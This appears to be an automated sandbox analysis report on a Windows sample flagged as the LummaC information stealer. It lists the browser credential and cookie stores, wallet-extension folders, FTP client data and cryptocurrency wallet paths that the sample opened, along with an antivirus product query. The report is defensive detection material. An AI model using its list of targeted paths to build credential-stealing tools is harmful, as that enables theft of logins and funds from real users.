Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Code function: GetLocaleInfoEx,FormatMessageA,	7_2_012DE7F7
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Code function: GetLocaleInfoW,	7_2_012F0ACC
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	7_2_012F9185
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Code function: EnumSystemLocalesW,	7_2_012F9014
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Code function: EnumSystemLocalesW,	7_2_012F9012
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Code function: EnumSystemLocalesW,	7_2_012F905F
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Code function: EnumSystemLocalesW,	7_2_012F90FA
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Code function: GetLocaleInfoW,	7_2_012F93D8
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	7_2_012F9501
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Code function: GetLocaleInfoW,	7_2_012F9607
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	7_2_012F96DD

Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\T4qO1i2Jav.exe

Code function: 0_2_0009F3E3 GetSystemTimeAsFileTime,

0_2_0009F3E3

Source: C:\Users\user\AppData\Local\Temp\U08CYPEDK3U9ZW3NZ4R.exe

Code function: 5_2_00705612 GetTimeZoneInformation,

5_2_00705612

Source: C:\Users\user\Desktop\T4qO1i2Jav.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: T4qO1i2Jav.exe, 00000000.00000003.1932545259.0000000003B02000.00000004.00000800.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1932037825.0000000003B0B000.00000004.00000800.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1946598934.0000000003B04000.00000004.00000800.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1978992443.0000000003B02000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\T4qO1i2Jav.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: T4qO1i2Jav.exe PID: 5260, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
